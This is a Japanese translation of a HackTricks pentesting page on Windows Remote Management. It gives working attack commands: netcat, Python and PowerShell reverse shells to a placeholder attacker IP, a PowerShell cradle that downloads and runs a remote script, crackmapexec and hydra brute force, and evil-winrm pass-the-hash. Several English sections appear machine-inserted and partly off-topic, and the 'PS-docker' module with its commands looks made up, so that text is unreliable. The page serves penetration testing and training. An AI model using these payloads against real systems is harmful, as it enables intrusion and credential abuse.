hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md
2023-07-07 23:42:27 +00:00

22 KiB
Raw Blame History

5985,5986 - WinRMのペンテスト

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProofをフォロー して、web3のバグについてもっと学びましょう

🐞 web3のバグチュートリアルを読む

🔔 新しいバグバウンティについて通知を受ける

💬 コミュニティディスカッションに参加する

WinRM

Windows Remote ManagementWinRMは、SOAPを使用してHTTPS経由でWindowsマシンをリモートで管理するためのMicrosoftプロトコルです。バックエンドではWMIを利用しているため、WMIのHTTPベースのAPIと考えることができます。

WinRMがマシンで有効になっている場合、PowerShellから簡単にマシンをリモートで管理できます。実際には、リモートのPowerShellセッションにマシンにドロップインすることができますSSHを使用しているかのように

WinRMが利用可能かどうかを検出する最も簡単な方法は、ポートが開いているかどうかを確認することです。WinRMは次のいずれかのポートでリッスンします

  • 5985/tcpHTTP
  • 5986/tcpHTTPS

これらのポートのいずれかが開いている場合、WinRMが構成されており、リモートセッションを試すことができます。

WinRMセッションの開始.

PowerShellをWinRMと連携させることができます。Microsoftのドキュメントによると、Enable-PSRemotingは、コンピュータをPowerShellリモートコマンドを受け取るように構成するためのコマンドレットです。被害者のエレベートされたPowerShellプロンプトにアクセスできる場合、これを有効にし、任意の「攻撃者」を信頼されたホストとして追加できます。次の2つのコマンドを実行できます

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

これにより、trustedhosts設定にワイルドカードが追加されます。それが何を意味するかに注意してください。 注意: 攻撃マシンのネットワークタイプを「Public」から「Work」ネットワークに変更する必要がありました。

また、_wmic_を使用して、WinRMをリモートでアクティベートすることもできます。

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

設定のテスト

攻撃マシンが設定されたら、Test-WSMan 関数を使用してターゲットが WinRM に設定されているかどうかをテストします。プロトコルバージョンと wsmid に関する情報が返されるはずです。

この場合、最初のものは設定されており、2番目のものは設定されていません。

コマンドの実行

これで、PowerShell の Invoke-Command を使用して、WinRM を介してターゲット上でコマンドをリモートで実行することができます。ipconfig をリモートで実行して出力を確認します。

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

また、Invoke-Commandを使用して、現在のPSコンソールでコマンドを実行することもできます。ローカルに_enumeration_という関数があると仮定し、それをリモートコンピュータで実行したい場合は、次のようにします:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

スクリプトの実行

To execute a script on a target machine using WinRM, you can use the Invoke-Command cmdlet in PowerShell. This cmdlet allows you to run commands or scripts on remote machines.

Invoke-Command -ComputerName <target> -ScriptBlock {<script>}

Replace <target> with the IP address or hostname of the target machine, and <script> with the script you want to execute.

For example, to execute a PowerShell script named script.ps1 on a target machine with the IP address 192.168.1.100, you would use the following command:

Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {.\script.ps1}

This will execute the script.ps1 script on the target machine.

Keep in mind that you may need to provide valid credentials to authenticate with the target machine if you are not already authenticated. You can use the -Credential parameter to specify the credentials to use.

Invoke-Command -ComputerName <target> -Credential <credentials> -ScriptBlock {<script>}

Replace <credentials> with the appropriate credentials for the target machine.

Remember to ensure that you have the necessary permissions to execute scripts on the target machine.

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

逆シェルを取得する

To get a reverse shell, you can use the following methods:

  1. Netcat: Use the nc command to establish a reverse shell connection. For example:

    nc -e /bin/sh <attacker_ip> <attacker_port>
    
  2. Python: Utilize the socket library in Python to create a reverse shell. Here is an example code snippet:

    import socket,subprocess,os
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("<attacker_ip>",<attacker_port>))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    p=subprocess.call(["/bin/sh","-i"])
    
  3. PowerShell: Use PowerShell to establish a reverse shell connection. Here is an example command:

    powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker_ip>',<attacker_port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
    

Remember to replace <attacker_ip> with your IP address and <attacker_port> with the port you want to use for the reverse shell connection.

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

PSセッションの取得

または、対話型のPowerShellセッションに直接入る場合は、Enter-PSSession関数を使用します。

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

セッションは、「被害者」内の新しいプロセスwsmprovhostで実行されます

WinRMを強制的に開く

PSリモートおよびWinRMを使用したいが、ターゲットがそれに設定されていない場合、単一のコマンドを使用して「強制的に」開くことができます。これはお勧めしませんが、本当にWinRMまたはPSリモートを使用したい場合は、この方法で行ってください。たとえば、PSExecを使用して次のようにします

PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

犠牲者のリモートPSセッションに入ることができます。

セッションの保存と復元

これは、リモートコンピュータで言語が制約されている場合には機能しません。

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

このセッションでは、_Invoke-Command_を使用してPSスクリプトをロードすることができます。

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

エラー

次のエラーが見つかった場合:

enter-pssession : リモート サーバー 10.10.10.175 への接続に失敗しました。次のエラー メッセージが表示されました: WinRM クライアントは要求を処理できません。認証スキームが Kerberos と異なる場合、またはクライアント コンピューターがドメインに参加していない場合、HTTPS トランスポートを使用するか、または宛先マシンを TrustedHosts 構成設定に追加する必要があります。TrustedHosts を構成するには、winrm.cmd を使用します。TrustedHosts リストのコンピューターは認証されていない場合がありますので、次のコマンドを実行して詳細情報を取得できます: winrm help config。詳細については、about_Remote_Troubleshooting ヘルプ トピックを参照してください。

クライアントで以下の試みを行います(ここの情報から):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

HackenProofをフォロー して、web3のバグについてもっと学びましょう

🐞 web3のバグチュートリアルを読む

🔔 新しいバグ報酬について通知を受ける

💬 コミュニティのディスカッションに参加する

LinuxでのWinRM接続

ブルートフォース

注意WinRMのブルートフォース攻撃はユーザーをブロックする可能性があります。

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

evil-winrmの使用

evil-winrmは、Windows Remote ManagementWinRMサービスを悪用するためのツールです。WinRMは、Windowsマシン間でのリモート管理を可能にするためのプロトコルです。evil-winrmを使用すると、WinRMサービスに対して認証情報を提供し、リモートマシンに対して権限を取得することができます。

以下は、evil-winrmの使用方法の例です。

  1. evil-winrmを実行するには、次のコマンドを使用します。

    evil-winrm -i <target-ip> -u <username> -p <password>
    
    • <target-ip>は、ターゲットマシンのIPアドレスです。
    • <username>は、有効なユーザー名です。
    • <password>は、有効なパスワードです。
  2. 上記のコマンドを実行すると、evil-winrmがWinRMサービスに接続し、認証情報を提供します。

  3. 認証が成功すると、evil-winrmのインタラクティブシェルが開きます。これにより、リモートマシン上でコマンドを実行したり、ファイルを転送したりすることができます。

evil-winrmは、WinRMサービスの脆弱性を利用して権限を取得するための強力なツールです。ただし、悪用には注意が必要であり、正当な目的でのみ使用することが重要です。

gem install evil-winrm

次のリンクから、そのgithubのドキュメントを読んでください: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

IPv6アドレスに接続するためにevil-winrmを使用するには、IPv6アドレスにドメイン名を設定するために_/etc/hosts_内にエントリを作成し、そのドメインに接続します。

evil-winrmを使用してハッシュをパスする

evil-winrm -u <username> -H <Hash> -i <IP>

PS-dockerマシンの使用

PS-docker is a PowerShell module that allows you to manage Docker containers and images using PowerShell commands. It provides a convenient way to interact with Docker without having to use the Docker CLI.

To use PS-docker, you first need to install the module on your machine. You can do this by running the following command in a PowerShell session:

Install-Module -Name PS-docker

Once the module is installed, you can use the Connect-Docker command to connect to a Docker host. This command takes the IP address or hostname of the Docker host as a parameter. For example:

Connect-Docker -Host 192.168.1.100

After connecting to the Docker host, you can use various commands provided by the PS-docker module to manage containers and images. Some commonly used commands include:

  • Get-DockerContainer: Retrieves information about running containers.
  • New-DockerContainer: Creates a new container.
  • Start-DockerContainer: Starts a stopped container.
  • Stop-DockerContainer: Stops a running container.
  • Remove-DockerContainer: Removes a container.
  • Get-DockerImage: Retrieves information about available images.
  • Pull-DockerImage: Downloads an image from a Docker registry.
  • Build-DockerImage: Builds a new image from a Dockerfile.

These are just a few examples of the commands available in the PS-docker module. You can explore the full list of commands and their usage by running the Get-Command -Module PS-docker command.

Using PS-docker can be particularly useful when performing penetration testing on systems that have Docker installed. It allows you to easily manage containers and images, which can be helpful for testing and exploiting vulnerabilities in Dockerized applications.

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

ルビースクリプトを使用する

以下のコードはこちらから抽出されました: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

参考文献

HackTricks 自動コマンド

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p MySuperSecr3tPass123!

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

HackenProofをフォロー して、web3のバグについてもっと学びましょう

🐞 web3のバグチュートリアルを読む

🔔 新しいバグ報酬について通知を受ける

💬 コミュニティディスカッションに参加する

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥